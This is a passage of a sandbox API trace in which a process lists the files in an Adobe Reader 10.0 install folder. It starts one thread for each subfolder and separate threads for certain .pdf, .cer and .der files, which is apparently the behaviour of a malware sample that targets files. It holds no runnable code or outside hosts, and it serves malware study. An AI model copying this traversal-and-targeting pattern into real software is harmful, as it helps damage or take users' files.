ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1131a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icuuc40.dll", cAlternateFileName="")) returned 1 [0127.417] wcscmp (_String1="icuuc40.dll", _String2=".") returned 1 [0127.417] wcscmp (_String1="icuuc40.dll", _String2="..") returned 1 [0127.417] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0127.418] wcscmp (_String1="IDTemplates", _String2=".") returned 1 [0127.418] wcscmp (_String1="IDTemplates", _String2="..") returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e310 [0127.418] wcscpy (in: _Dest=0x1b85e310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.418] wcscat (in: _Dest=0x1b85e310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.418] wcscat (in: _Dest=0x1b85e310, _Source="IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0127.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0127.419] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0127.419] wcscmp (_String1="Javascripts", _String2=".") returned 1 [0127.419] wcscmp (_String1="Javascripts", _String2="..") returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e790 [0127.420] wcscpy (in: _Dest=0x1b85e790, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.420] wcscat (in: _Dest=0x1b85e790, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.420] wcscat (in: _Dest=0x1b85e790, _Source="Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0127.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0127.421] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0127.422] wcscmp (_String1="JP2KLib.dll", _String2=".") returned 1 [0127.422] wcscmp (_String1="JP2KLib.dll", _String2="..") returned 1 [0127.422] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0127.422] wcscmp (_String1="Legal", _String2=".") returned 1 [0127.422] wcscmp (_String1="Legal", _String2="..") returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85de90 [0127.422] wcscpy (in: _Dest=0x1b85de90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.422] wcscat (in: _Dest=0x1b85de90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.422] wcscat (in: _Dest=0x1b85de90, _Source="Legal" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" [0127.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85de90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0127.423] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0127.424] wcscmp (_String1="Locale", _String2=".") returned 1 [0127.424] wcscmp (_String1="Locale", _String2="..") returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85da90 [0127.424] wcscpy (in: _Dest=0x1b85da90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.424] wcscat (in: _Dest=0x1b85da90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.424] wcscat (in: _Dest=0x1b85da90, _Source="Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0127.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85da90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0127.425] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0127.425] wcscmp (_String1="logsession.dll", _String2=".") returned 1 [0127.425] wcscmp (_String1="logsession.dll", _String2="..") returned 1 [0127.425] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0127.425] wcscmp (_String1="LogTransport2.exe", _String2=".") returned 1 [0127.425] wcscmp (_String1="LogTransport2.exe", _String2="..") returned 1 [0127.425] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0127.426] wcscmp (_String1="Onix32.dll", _String2=".") returned 1 [0127.426] wcscmp (_String1="Onix32.dll", _String2="..") returned 1 [0127.426] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0127.426] wcscmp (_String1="PDFPrevHndlr.dll", _String2=".") returned 1 [0127.426] wcscmp (_String1="PDFPrevHndlr.dll", _String2="..") returned 1 [0127.426] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0127.426] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2=".") returned 1 [0127.426] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2="..") returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0970 [0127.426] wcscpy (in: _Dest=0x202b0970, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.426] wcscat (in: _Dest=0x202b0970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.426] wcscat (in: _Dest=0x202b0970, _Source="PDFSigQFormalRep.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" [0127.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4 [0127.428] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0127.428] wcscmp (_String1="pe.dll", _String2=".") returned 1 [0127.428] wcscmp (_String1="pe.dll", _String2="..") returned 1 [0127.428] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="piaglbreakfinder.dll", cAlternateFileName="PIAGLB~1.DLL")) returned 1 [0127.428] wcscmp (_String1="piaglbreakfinder.dll", _String2=".") returned 1 [0127.428] wcscmp (_String1="piaglbreakfinder.dll", _String2="..") returned 1 [0127.428] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0127.428] wcscmp (_String1="plug_ins", _String2=".") returned 1 [0127.428] wcscmp (_String1="plug_ins", _String2="..") returned 1 [0127.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85d590 [0127.429] wcscpy (in: _Dest=0x1b85d590, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.429] wcscat (in: _Dest=0x1b85d590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.429] wcscat (in: _Dest=0x1b85d590, _Source="plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0127.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0127.430] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0127.430] wcscmp (_String1="plug_ins3d", _String2=".") returned 1 [0127.430] wcscmp (_String1="plug_ins3d", _String2="..") returned 1 [0127.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef10 [0127.430] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.430] wcscat (in: _Dest=0x1b85ef10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.431] wcscat (in: _Dest=0x1b85ef10, _Source="plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0127.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ef10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0127.432] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0127.432] wcscmp (_String1="pmd.cer", _String2=".") returned 1 [0127.432] wcscmp (_String1="pmd.cer", _String2="..") returned 1 [0127.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0127.432] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.432] wcscat (in: _Dest=0x1b85d710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.432] wcscat (in: _Dest=0x1b85d710, _Source="pmd.cer" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" [0127.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0127.434] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0127.434] wcscmp (_String1="reader_sl.exe", _String2=".") returned 1 [0127.434] wcscmp (_String1="reader_sl.exe", _String2="..") returned 1 [0127.434] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0127.434] wcscmp (_String1="rt3d.dll", _String2=".") returned 1 [0127.434] wcscmp (_String1="rt3d.dll", _String2="..") returned 1 [0127.434] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0127.434] wcscmp (_String1="RTC.der", _String2=".") returned 1 [0127.434] wcscmp (_String1="RTC.der", _String2="..") returned 1 [0127.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0127.434] wcscpy (in: _Dest=0x1b85ec10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.434] wcscat (in: _Dest=0x1b85ec10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.434] wcscat (in: _Dest=0x1b85ec10, _Source="RTC.der" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" [0127.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ec10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0127.459] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0127.460] wcscmp (_String1="ScCore.dll", _String2=".") returned 1 [0127.460] wcscmp (_String1="ScCore.dll", _String2="..") returned 1 [0127.460] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0127.460] wcscmp (_String1="Services", _String2=".") returned 1 [0127.460] wcscmp (_String1="Services", _String2="..") returned 1 [0127.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ee90 [0127.460] wcscpy (in: _Dest=0x1b85ee90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.460] wcscat (in: _Dest=0x1b85ee90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.460] wcscat (in: _Dest=0x1b85ee90, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0127.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ee90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0127.498] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPlugins", cAlternateFileName="SPPLUG~1")) returned 1 [0127.499] wcscmp (_String1="SPPlugins", _String2=".") returned 1 [0127.499] wcscmp (_String1="SPPlugins", _String2="..") returned 1 [0127.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f290 [0127.499] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.499] wcscat (in: _Dest=0x1b85f290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.499] wcscat (in: _Dest=0x1b85f290, _Source="SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0127.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0127.501] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 